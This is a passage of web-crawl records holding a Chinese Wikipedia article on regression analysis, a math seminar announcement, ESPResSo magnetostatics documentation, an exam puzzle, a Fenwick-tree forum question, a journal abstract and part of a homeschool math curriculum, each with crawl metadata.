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https://zh.wikipedia.org/wiki/%E5%9B%9E%E5%BD%92%E5%88%86%E6%9E%90	[ "", null, "# 迴歸分析\n\n（重定向自回归分析\n\n## 起源\n\n「迴歸」一詞最早由法蘭西斯·高爾頓（Francis Galton）所使用。他曾對親子間的身高做研究，發現父母的身高雖然會遺傳給子女，但子女的身高卻有逐漸「迴歸到中等（即人的平均值）」的現象。不過當時的迴歸和現在的迴歸在意義上已不盡相同。\n\n## 迴歸分析原理\n\n• 目的在於找出一條最能夠代表所有觀測資料的函數（迴歸估計式）。\n• 用此函數代表因變數和自變數之間的關係。\n\n## 回归模型\n\n• 未知参数，记为$\\beta$", null, "，可以代表一个标量或一个向量\n• 自变量$\\mathbf {X}$", null, "• 因变量$Y$", null, "$Y\\approx f(\\mathbf {X} ,{\\boldsymbol {\\beta }})$", null, "• 如果以$(Y,\\mathbf {X} )$", null, "的形式给出了$N$", null, "个数据点，当$N", null, "时，大多数传统的回归分析方法都不能进行，因为数据量不够导致回归模型的系统方程不能完全确定$\\beta$", null, "• 如果恰好有$N=k$", null, "个数据点，并且函数$f$", null, "的形式是线性的，那么方程$Y=f(\\mathbf {X} ,{\\boldsymbol {\\beta }})$", null, "能精确求解。这相当于解一个有$N$", null, "个未知量和$N$", null, "个方程的方程组。在$\\mathbf {X}$", null, "线性无关的情况下，这个方程组有唯一解。但如果$f$", null, "是非线性形式的，解可能有多个或不存在。\n• 实际中$N>k$", null, "的情况占大多数。这种情况下，有足够的信息用于估计一个与数据最接近的$\\beta$", null, "值，这时当回归分析应用于这些数据时，可以看作是解一个关于$\\beta$", null, "超定方程\n\n⒉在特定统计假设下，回归分析使用数据中的多余信息给出关于因变量$Y$", null, "和未知量$\\beta$", null, "之间的关系。\n\n## 迴歸分析的種類\n\n### 簡單線性回歸\n\n（英語：simple linear regression\n\n• 應用時機\n1. 以單一變數預測\n2. 判斷兩變數之間相關的方向和程度\n\n### 對數線性迴歸\n\n（英語：Log-linear model），是將解釋變項（實驗設計中的自變項）和反應變項（實驗設計中的依變項）都取對數值之後再進行線性迴歸，所以依據解釋變項的數量，可能是對數簡單線性迴歸，也可能是對數複迴歸。\n\n### 偏迴歸\n\n（英語：Partial Regression\n\n## 参考资料\n\n1. ^ A.M. Legendre. Nouvelles méthodes pour la détermination des orbites des comètes, Firmin Didot, Paris, 1805. “Sur la Méthode des moindres quarrés” appears as an appendix.\n2. ^ C.F. Gauss. Theoria Motus Corporum Coelestium in Sectionibus Conicis Solem Ambientum. (1809)\n3. ^ C.F. Gauss. Theoria combinationis observationum erroribus minimis obnoxiae. (1821/1823)\n4. ^ Mogull, Robert G. Second-Semester Applied Statistics. Kendall/Hunt Publishing Company. 2004: 59. ISBN 0-7575-1181-3.\n5. ^ Galton, Francis. Kinship and Correlation (reprinted 1989). Statistical Science (Institute of Mathematical Statistics). 1989, 4 (2): 80–86. JSTOR 2245330. doi:10.1214/ss/1177012581.\n6. ^ Rodney Ramcharan. Regressions: Why Are Economists Obessessed with Them? March 2006. Accessed 2011-12-03.\n\n## 外部連結\n\n1. 解讀迴歸分析的原理及結構" ]	[ null, "https://upload.wikimedia.org/wikipedia/commons/thumb/c/cd/Zh_conversion_icon_m.svg/35px-Zh_conversion_icon_m.svg.png", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/7ed48a5e36207156fb792fa79d29925d2f7901e8", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/9f75966a2f9d5672136fa9401ee1e75008f95ffd", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/961d67d6b454b4df2301ac571808a3538b3a6d3f", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/7b4a1be788ba7ce402b6454da1007f40ae6dabe3", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/72a4bc6b350a925038f2f86ba540eb8fc437522d", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/f5e3890c981ae85503089652feb48b191b57aae3", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/c4f73a42bebc8881c0420fb1f6d0690bc377e7a5", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/7ed48a5e36207156fb792fa79d29925d2f7901e8", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/803a1bd7b420342623bc646a63c7b2aa3b458553", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/132e57acb643253e7810ee9702d9581f159a1c61", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/ee332c6af26a6f68b3b05178fbddffe0a5ca9fce", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/f5e3890c981ae85503089652feb48b191b57aae3", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/f5e3890c981ae85503089652feb48b191b57aae3", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/9f75966a2f9d5672136fa9401ee1e75008f95ffd", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/132e57acb643253e7810ee9702d9581f159a1c61", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/59092840ba8257fc7356c8e2fe7bb155d17bab04", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/7ed48a5e36207156fb792fa79d29925d2f7901e8", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/7ed48a5e36207156fb792fa79d29925d2f7901e8", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/961d67d6b454b4df2301ac571808a3538b3a6d3f", null, "https://wikimedia.org/api/rest_v1/media/math/render/svg/7ed48a5e36207156fb792fa79d29925d2f7901e8", null ]	{"ft_lang_label":"__label__zh","ft_lang_prob":0.9374711,"math_prob":0.98749036,"size":2637,"snap":"2020-24-2020-29","text_gpt3_token_len":2166,"char_repetition_ratio":0.06608432,"word_repetition_ratio":0.010869565,"special_character_ratio":0.22753128,"punctuation_ratio":0.12209302,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98509115,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,4,null,4,null,null,null,4,null,null,null,4,null,null,null,4,null,null,null,null,null,null,null,null,null,5,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-05-31T08:05:30Z\",\"WARC-Record-ID\":\"<urn:uuid:18818ed1-3d59-49d9-8b99-9d0dfcbc4348>\",\"Content-Length\":\"182340\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a572ddb1-ffa4-4f6c-94f3-8eb5a9275809>\",\"WARC-Concurrent-To\":\"<urn:uuid:4a7f3c5d-a410-4f54-986e-72e6c5b51026>\",\"WARC-IP-Address\":\"208.80.154.224\",\"WARC-Target-URI\":\"https://zh.wikipedia.org/wiki/%E5%9B%9E%E5%BD%92%E5%88%86%E6%9E%90\",\"WARC-Payload-Digest\":\"sha1:FYSPOXFNCWNYWFLYFTTNL7U43XCGUZ3B\",\"WARC-Block-Digest\":\"sha1:7KJNZY67LYK7ZLI7BKH4ISSDIWRA7D26\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590347411862.59_warc_CC-MAIN-20200531053947-20200531083947-00391.warc.gz\"}"}
https://mathematics.huji.ac.il/event/combinatorics-amir-shpilka-tau?ref_tid=3830	[ "# Combinatorics: Orit Raz (HUJI)\n\nDate:\nMon, 16/12/201910:00-12:00\nLocation:\nC-400, CS building\n\nCombinatorics Seminar HUJI\n\nWhen: Monday Dec 16, 10:00-11:45\nWhere: C-400, CS building\n\nSpeaker: Orit Raz (HUJI)\n\nTitle: Dense graphs have rigid parts\n\nAbstract:\n\nWhile the problem of determining whether a given embedding of a graph $G$ in $\\R^2$ is {\\it infinitesimally rigid} is well understood, specifying whether a given embedding of $G$ is {\\it rigid} or not is still a hard task that usually requires ad hoc arguments. In the talk I will tell about a recent result with Jozsef Solymosi asserting that {\\it every} embedding (not necessarily generic) of a dense enough graph (concretely, a graph with at least $C_0n^{3/2}(\\log n)^{\\beta}$ edges, for some absolute constants $C_0>0$ and $\\beta\\ge 1$), which satisfies some very mild general position requirements (no three vertices of $G$ are embedded to a common line), must have a subframework of size at least three which is rigid.\n\nFor the proof we use a connection between the notion of graph rigidity and configurations of lines in $\\R^3$, which I will introduce. This connection allows us to use properties of line configurations established in Guth and Katz~\\cite{GK2}.\n(In fact, our proof requires an extended version of Guth and Katz result; the extension we need was proved by J\\'anos Koll\\’ar.)\n\nWe do not know whether our assumption on the number of edges is tight. I will introduce an example that shows that requiring $\\Omega(n\\log n)$ edges is necessary." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.88374805,"math_prob":0.9697524,"size":1478,"snap":"2022-05-2022-21","text_gpt3_token_len":381,"char_repetition_ratio":0.08480325,"word_repetition_ratio":0.008583691,"special_character_ratio":0.25845736,"punctuation_ratio":0.10309278,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9859882,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-25T09:00:29Z\",\"WARC-Record-ID\":\"<urn:uuid:1dce45cf-456b-4b7d-aa65-beee90ecdf20>\",\"Content-Length\":\"69429\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:801a48d9-212b-4d78-9be8-8c4088967722>\",\"WARC-Concurrent-To\":\"<urn:uuid:0f7eba2a-5741-440c-9d23-918eb1fd108d>\",\"WARC-IP-Address\":\"128.139.7.33\",\"WARC-Target-URI\":\"https://mathematics.huji.ac.il/event/combinatorics-amir-shpilka-tau?ref_tid=3830\",\"WARC-Payload-Digest\":\"sha1:4BHUBBHQSK7MFH7ZFGVYZNZMAZVZMPHC\",\"WARC-Block-Digest\":\"sha1:QGNOB6D656PDGGITCAZZICMLCNDINR5U\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662584398.89_warc_CC-MAIN-20220525085552-20220525115552-00613.warc.gz\"}"}
http://espressomd.org/html/doc/magnetostatics.html	[ "# 9. Magnetostatics / Dipolar interactions¶\n\n## 9.1. Dipolar interaction¶\n\nESPResSo contains methods to calculate the interactions between point dipoles\n\n$U^{Dip}(\\vec{r}) = D \\cdot \\left( \\frac{(\\vec{\\mu}_i \\cdot \\vec{\\mu}_j)}{r^3} - \\frac{3 (\\vec{\\mu}_i \\cdot \\vec{r}) (\\vec{\\mu}_j \\cdot \\vec{r}) }{r^5} \\right)$\n\nwhere $$r=\|\\vec{r}\|$$. The prefactor $$D$$ is can be set by the user and is given by\n\n(1)$D =\\frac{\\mu_0 \\mu}{4\\pi}$\n\nwhere $$\\mu_0$$ and $$\\mu$$ are the vacuum permittivity and the relative permittivity of the background material, respectively.\n\nMagnetostatic interactions are activated via the actor framework:\n\nimport espressomd\nimport espressomd.magnetostatics\n\nsystem = espressomd.System(box_l=[10, 10, 10])\nsystem.time_step = 0.01\nsystem.part.add(pos=[[0, 0, 0], [1, 1, 1]],\nrotation=2 * [(1, 1, 1)], dip=2 * [(1, 0, 0)])\n\ndirect_sum = espressomd.magnetostatics.DipolarDirectSumCpu(prefactor=1)\n# ...\nsystem.actors.remove(direct_sum)\n\n\nThe magnetostatics algorithms for periodic boundary conditions require some knowledge to use them properly. Uneducated use can result in completely unphysical simulations.\n\n### 9.1.1. Dipolar P3M¶\n\nespressomd.magnetostatics.DipolarP3M\n\nThis is the dipolar version of the P3M algorithm, described in [CerdaBLH08].\n\nMake sure that you know the relevance of the P3M parameters before using P3M! If you are not sure, read the following references: [Ewa21][HE88][KP92][DH98a][DH98b][DHL00][Des00][CerdaBLH08].\n\nNote that dipolar P3M does not work with non-cubic boxes.\n\nThe parameters of the dipolar P3M method can be tuned automatically, by providing accuracy=<TARGET_ACCURACY> to the method. It is also possible to pass a subset of the method parameters such as mesh. In that case, only the omitted parameters are tuned:\n\nimport espressomd.magnetostatics as magnetostatics\np3m = magnetostatics.DipolarP3M(prefactor=1, mesh=32, accuracy=1E-4)\n\n\nIt is important to note that the error estimates given in [CerdaBLH08] used in the tuning contain assumptions about the system. In particular, a homogeneous system is assumed. If this is no longer the case during the simulation, actual force and torque errors can be significantly larger.\n\n### 9.1.2. Dipolar Layer Correction (DLC)¶\n\nespressomd.magnetostatic_extensions.DLC\n\nThe dipolar layer correction (DLC) is used in conjunction with the dipolar P3M method to calculate dipolar interactions in a 2D-periodic system. It is based on [Brodka04] and the dipolar version of Electrostatic Layer Correction (ELC).\n\nUsage notes:\n\n• The non-periodic direction is always the z-direction.\n\n• The method relies on a slab of the simulation box perpendicular to the z-direction not to contain particles. The size in z-direction of this slab is controlled by the gap_size parameter. The user has to ensure that no particles enter this region by means of constraints or by fixing the particles’ z-coordinate. When there is no empty slab of the specified size, the method will silently produce wrong results.\n\n• The method can be tuned using the accuracy parameter. In contrast to the electrostatic method, it refers to the energy. Furthermore, it is assumed that all dipole moment are as large as the largest of the dipoles in the system.\n\nThe method is used as follows:\n\nimport espressomd.magnetostatics as magnetostatics\nimport espressomd.magnetostatic_extensions as magnetostatic_extensions\n\np3m = magnetostatics.DipolarP3M(prefactor=1, accuracy=1E-4)\ndlc = magnetostatic_extensions.DLC(maxPWerror=1E-5, gap_size=2.)\n\n\n## 9.2. Dipolar direct sum¶\n\nThis interaction calculates energies and forces between dipoles by explicitly summing over all pairs. For the directions in which the system is periodic (as defined by system.periodicity), it applies the minimum image convention, i.e. the interaction is effectively cut off at half a box length.\n\nThe direct summation methods are mainly intended for non-periodic systems which cannot be solved using the dipolar P3M method. Due to the long-range nature of dipolar interactions, Direct summation with minimum image convention does not yield good accuracy with periodic systems.\n\nTwo methods are available:\n\n• DipolarDirectSumCpu performs the calculation in double precision on the Cpu.\n\n• DipolarDirectSumGpu performs the calculations in single precision on a Cuda-capable graphics card. The implementation is optimized for large systems of several thousand particles. It makes use of one thread per particle. When there are fewer particles than the number of threads the gpu can execute simultaneously, the rest of the gpu remains idle. Hence, the method will perform poorly for small systems.\n\nTo use the methods, create an instance of either DipolarDirectSumCpu or DipolarDirectSumGpu and add it to the system’s list of active actors. The only required parameter is the Prefactor (1):\n\nfrom espressomd.magnetostatics import DipolarDirectSumGpu\ndds = DipolarDirectSumGpu(bjerrum_length=1)\n\n\nFor testing purposes, a variant of the dipolar direct sum is available which adds periodic copies to the system in periodic directions: DipolarDirectSumWithReplicaCpu. As it is very slow, this method is not intended to do simulations, but rather to check the results you get from more efficient methods like P3M.\n\nDipolarDirectSumCpu and DipolarDirectSumWithReplicaCpu do not support MPI parallelization.\n\n## 9.3. Barnes-Hut octree sum on GPU¶\n\nespressomd.magnetostatics.DipolarBarnesHutGpu\n\nThis interaction calculates energies and forces between dipoles by summing over the spatial octree cells (aka leaves). Far enough cells are considered as a single dipole with a cumulative vector in the cell center of mass. Parameters which determine that the cell is far enough are $$I_{\\mathrm{tol}}^2$$ and $$\\varepsilon^2$$ which define a fraction of the cell and an additive distance respectively. For the detailed description of the Barnes-Hut method application to the dipole-dipole interactions, please refer to [PLD+13].\n\nTo use the method, create an instance of DipolarBarnesHutGpu and add it to the system’s list of active actors:\n\nfrom espressomd.magnetostatics import DipolarBarnesHutGpu\nbh = DipolarBarnesHutGpu(prefactor=pf_dds_gpu, epssq=200.0, itolsq=8.0)\n\nespressomd.magnetostatics.Scafacos\nESPResSo can use the methods from the ScaFaCoS Scalable fast Coulomb solvers library for dipoles, if the methods support dipolar calculations. The feature SCAFACOS_DIPOLES has to be added to myconfig.hpp to activate this feature. Dipolar calculations are only included in the dipolar branch of the ScaFaCoS code.\nTo use ScaFaCoS, create an instance of Scafacos and add it to the list of active actors. Three parameters have to be specified: prefactor, method_name, method_params. The method-specific parameters are described in the ScaFaCoS manual. In addition, methods supporting tuning have a parameter tolerance_field which sets the desired root mean square accuracy for the magnetic field." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.79362446,"math_prob":0.9453812,"size":7077,"snap":"2020-45-2020-50","text_gpt3_token_len":1839,"char_repetition_ratio":0.15368302,"word_repetition_ratio":0.02153846,"special_character_ratio":0.20474778,"punctuation_ratio":0.13723916,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.984531,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-11-29T20:07:44Z\",\"WARC-Record-ID\":\"<urn:uuid:8f7cb8d3-daba-4e71-bcd5-0b9bc158d38b>\",\"Content-Length\":\"26372\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3f4cd729-61a9-47cc-81c0-bfd20e1b525c>\",\"WARC-Concurrent-To\":\"<urn:uuid:9155e27e-5696-4596-96de-16fce3e28361>\",\"WARC-IP-Address\":\"129.69.120.50\",\"WARC-Target-URI\":\"http://espressomd.org/html/doc/magnetostatics.html\",\"WARC-Payload-Digest\":\"sha1:AXDCRR22UXJUH5CE7FDALIHGEW4WM4UI\",\"WARC-Block-Digest\":\"sha1:YXH7I3RUR7G323LF5M3AA7ZQ57SCFVDY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141202590.44_warc_CC-MAIN-20201129184455-20201129214455-00661.warc.gz\"}"}
https://testbook.com/question-answer/a-b-means-a-is-the-mother-of-ba--6077d9c4cde08f625f1904e7	[ "# A × B means A is the mother of BA / B means A is the husband of BA + B means A is the father of BIn which of the following cases, P is the father of Q?\n\nThis question was previously asked in\nMP Police SI Official Paper 3 (Held on : 6 Sept 2016 Shift 1)\nView all MP Police SI Papers >\n1. Q × M / P\n2. P × M / Q\n3. Q / M × P\n4. P / M × Q\n\nOption 4 : P / M × Q\n\n## Detailed Solution\n\nThe following codes and family trees are used in solving this question:", null, "and,", null, "On checking each options one by one:\n\ni) Q × M / P", null, "It doesn't follow the condition that P is father of Q\n\nii) P × M / Q", null, "It doesn't follow the condition that P is father of Q\n\niii) Q / M × P", null, "It doesn't follow the condition that P is father of Q\n\niv) P / M × Q", null, "It follows the condition that P is father of Q\n\nHence, option 4 is the correct answer." ]	[ null, "https://storage.googleapis.com/tb-img/production/21/04/newbloodrelationformat.png", null, "https://storage.googleapis.com/tb-img/production/21/04/yenayaformathai.png", null, "https://storage.googleapis.com/tb-img/production/21/04/YEACHAHAIGURU1.png", null, "https://storage.googleapis.com/tb-img/production/21/04/YEACHAHAIGURU22.png", null, "https://storage.googleapis.com/tb-img/production/21/04/YEACHAHAIGURU333.png", null, "https://storage.googleapis.com/tb-img/production/21/04/YEACHATHAGURU444444444.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9788934,"math_prob":0.8485789,"size":572,"snap":"2021-31-2021-39","text_gpt3_token_len":163,"char_repetition_ratio":0.19366197,"word_repetition_ratio":0.22727273,"special_character_ratio":0.28146854,"punctuation_ratio":0.053030305,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9849827,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12],"im_url_duplicate_count":[null,2,null,2,null,2,null,2,null,2,null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-09-25T06:01:32Z\",\"WARC-Record-ID\":\"<urn:uuid:a1177409-8495-4f29-827a-c18560ebccc0>\",\"Content-Length\":\"117881\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b46e10c2-0367-42cd-8804-5ad143fda3fa>\",\"WARC-Concurrent-To\":\"<urn:uuid:d193b165-7ef6-4b32-a58c-061cc19f6e97>\",\"WARC-IP-Address\":\"104.22.44.238\",\"WARC-Target-URI\":\"https://testbook.com/question-answer/a-b-means-a-is-the-mother-of-ba--6077d9c4cde08f625f1904e7\",\"WARC-Payload-Digest\":\"sha1:TRBSZEHV72RG6PTBOYUAQ5Q7UT75LP65\",\"WARC-Block-Digest\":\"sha1:C4ZBGVESF2QRSRSJ3UB6I4L6NA3MFUAW\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-39/CC-MAIN-2021-39_segments_1631780057598.98_warc_CC-MAIN-20210925052020-20210925082020-00434.warc.gz\"}"}
https://discusstest.codechef.com/t/range-xored-sum-using-bit-or-fenwick-tree/14459	[ "", null, "# range XORed sum using BIT or Fenwick tree\n\nFor a given array of integers, we have to calculate `XORed` sum withing a given range `[L, R]`, by `XORed` sum I mean `Σ(Arr[i]^p)` where `i:[L,R]` and `p` is some number. This can be easily done while calculating the `XORed` sum till every `i-th` element in array from beginning of the array. Now the problem occures when the `p` changes very frequently. And recalculating `XORed` sum till every `i-th` element does not seems to be an ideal solution in this case. I guess this can be done using `fenwick` tree or `BIT`. But I am not able to figure out how to proceed with `fenwick` tree or `BIT`. Any help would be appreciated.\n\nCould you provide the problem source? I am not comfortable providing you with an answer otherwise.\n\n2 Likes\n\nIt’s the same as using BIT for sum, just replace + with ^ (xor).\n\n//" ]	[ null, "https://s3.amazonaws.com/discoursestaging/original/2X/4/45bf0c3f75fc1a2cdf5d9042041a80fa6dd3106b.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.85046977,"math_prob":0.8462717,"size":817,"snap":"2021-31-2021-39","text_gpt3_token_len":208,"char_repetition_ratio":0.11316113,"word_repetition_ratio":0.118421055,"special_character_ratio":0.23011015,"punctuation_ratio":0.09659091,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9899511,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-07-23T19:58:28Z\",\"WARC-Record-ID\":\"<urn:uuid:50185c52-c85a-4ea4-af2c-961c92dc839f>\",\"Content-Length\":\"16850\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3121aee8-6964-43b0-a54d-463b593e63ae>\",\"WARC-Concurrent-To\":\"<urn:uuid:7ad90824-5bdc-471c-b8a8-712c5f9f459a>\",\"WARC-IP-Address\":\"54.165.214.21\",\"WARC-Target-URI\":\"https://discusstest.codechef.com/t/range-xored-sum-using-bit-or-fenwick-tree/14459\",\"WARC-Payload-Digest\":\"sha1:EMKLPG5VNCOTK7AIYY23R66U2OFTLFZE\",\"WARC-Block-Digest\":\"sha1:XVEH47QCSOBS4FDJXK3XLOX5XHTJBEJ2\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-31/CC-MAIN-2021-31_segments_1627046150000.59_warc_CC-MAIN-20210723175111-20210723205111-00348.warc.gz\"}"}
https://www.mscand.dk/article/view/24745	[ "# Zeros of Functions in Bergman-Type Hilbert Spaces of Dirichlet Series\n\n• Ole Fredrik Brevig\n\n### Abstract\n\nFor a real number $\\alpha$ the Hilbert space $\\mathscr{D}_\\alpha$ consists of those Dirichlet series $\\sum_{n=1}^\\infty a_n/n^s$ for which $\\sum_{n=1}^\\infty \|a_n\|^2/[d(n)]^\\alpha < \\infty$, where $d(n)$ denotes the number of divisors of $n$. We extend a theorem of Seip on the bounded zero sequences of functions in $\\mathscr{D}_\\alpha$ to the case $\\alpha>0$. Generalizations to other weighted spaces of Dirichlet series are also discussed, as are partial results on the zeros of functions in the Hardy spaces of Dirichlet series $\\mathscr{H}^p$, for $1\\leq p <2$.\nPublished\n2016-11-01\nHow to Cite\nBrevig, O. F. (2016). Zeros of Functions in Bergman-Type Hilbert Spaces of Dirichlet Series. MATHEMATICA SCANDINAVICA, 119(2), 237-248. https://doi.org/10.7146/math.scand.a-24745\nIssue\nSection\nArticles" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.7136163,"math_prob":0.9849572,"size":880,"snap":"2020-24-2020-29","text_gpt3_token_len":275,"char_repetition_ratio":0.14041096,"word_repetition_ratio":0.0862069,"special_character_ratio":0.2977273,"punctuation_ratio":0.108571425,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99958986,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-06-06T01:29:14Z\",\"WARC-Record-ID\":\"<urn:uuid:64092ebc-2693-41af-831e-7c14ea2caa51>\",\"Content-Length\":\"21397\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:19cfe91c-c38e-4fe1-a610-b489ccdd235b>\",\"WARC-Concurrent-To\":\"<urn:uuid:d5a096f2-f4bb-47e0-92f4-239a90d43e7c>\",\"WARC-IP-Address\":\"130.225.27.145\",\"WARC-Target-URI\":\"https://www.mscand.dk/article/view/24745\",\"WARC-Payload-Digest\":\"sha1:Z5EM6RUUDWDNB4432GGXQQF2M3VU6FMC\",\"WARC-Block-Digest\":\"sha1:SRRPSLOYGZLLKC46EKFJ6AO4O66OQCM7\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590348509264.96_warc_CC-MAIN-20200606000537-20200606030537-00352.warc.gz\"}"}
https://www.hackergateway.com/users/lovenunu/solutions	[ "• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.80251044,"math_prob":0.84716445,"size":1116,"snap":"2021-43-2021-49","text_gpt3_token_len":487,"char_repetition_ratio":0.37769786,"word_repetition_ratio":0.110526316,"special_character_ratio":0.4560932,"punctuation_ratio":0.16342412,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9853938,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-03T22:36:53Z\",\"WARC-Record-ID\":\"<urn:uuid:bde5d8b8-949a-4edc-b19c-5bb0e3bc7658>\",\"Content-Length\":\"17664\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ea133ab6-ae35-4fd2-8e7d-d28726c2744f>\",\"WARC-Concurrent-To\":\"<urn:uuid:f0d7c780-c811-4879-927f-781728628a36>\",\"WARC-IP-Address\":\"172.67.149.134\",\"WARC-Target-URI\":\"https://www.hackergateway.com/users/lovenunu/solutions\",\"WARC-Payload-Digest\":\"sha1:XRWH7NEQ2JEESEMIOGW3YAQCAEF5OK3U\",\"WARC-Block-Digest\":\"sha1:YPIBN3WIT3LSPQAUCG2MS57PCWEY6ZQZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964362919.65_warc_CC-MAIN-20211203212721-20211204002721-00191.warc.gz\"}"}
https://allinonehomeschool.com/math-4/	[ "# Math — 4\n\n### Found a problem? Check here.\n\n#### You should know all of your math facts. If you don’t, please go to xtramath every day until you do. Math is easier, and therefore more fun, when you know the answers! (Parents: This site will require a free account. If this isn’t coming easily for your child, you can slow it down. Click on parent/teacher and log in. Choose the child’s tab. Choose Change Program. Choose 6 second addition. When it’s mastered, you can change to subtraction, etc.)\n\nCourse Description: Students will expand their understanding of graphing, measurement, fractions, decimals, geometry, estimation, place value, time, and money. Students will be introduced to adding, subtracting, multiplying, dividing, and simplifying fractions, as well as probability, order of operation, the coordinate plane, long division, angles, percents and averages. Students will practice their skills and new math vocabulary using worksheets as well as online games, quizzes and activities. Students will also be challenged by mental math problems.\n\nMaterials:\n\n• Basic Supplies List\n• Lesson 61, yarn — Really, you could use any type of string. Floss would work; thread is probably too weak.\n\n### Books to Work Offline:\n\nYou’ll want the Workbooks and Parent Guide to go completely offline.\n\n### Online course:", null, "Print worksheets for this online course\n\nOR\n\nReview\n\nLesson 1 (Materials: It’s not needed today, but I suggest that this year they have a math notebook, a spiral notebook or something, unless they have a lot of trouble with physically writing. If they do, you could see if they like an online scratch pad better.)\n\nWelcome to your first day of school! I wanted to give you one important reminder before you begin. Many of your lessons below have an internet link for you to click on. When you go to the different internet pages for your lessons, please DO NOT click on anything else on that page except what the directions tell you to. DO NOT click on any advertisements or games. DO NOT click on anything that takes you to a different website. Just stay focused on your lesson and then close that window and you should be right back here for the next lesson. Okay?\n\nParents:\n\n1. If you didn’t get here through My EP Assignments, I suggest you go there and create an account.\n2. This course has an offline version and a printables workbook. Go to the top of the course page for book links.\n\nPlease decide about buying books or printing out the worksheet packets for the year. You’ll want those worksheets available when they come up in the curriculum. Scroll up above Lesson 1 to see the book options.\n\n1. If your child doesn’t know their facts, please read the note at the top of the course page.\n\nStudents:\n\n1. Find the correct time. Choose “nearest minute.” Play until you get 20 correct.\n2. Round to the nearest ten. Play until you get 20 correct.\n3. Round to the nearest hundred. Play until you get 20 correct.\n4. This is the end of your work for this course for your first day. You are allowed to move at your own pace (this is homeschooling), but it’s intended you complete one lesson a day.\n\nLesson 2\n\n1. Play this time matching game. Choose Level 1.\n2. How much money? To answer, click on the money in the cash register to add it to your total.\n• If you had 80 and gave 15, how much would you have left?\n• Count up from 15 using the money. Click on ten and count to 25, again 35, etc.\n3. Make numbers.\n4. Round to the nearest 100. (If you don’t remember this, 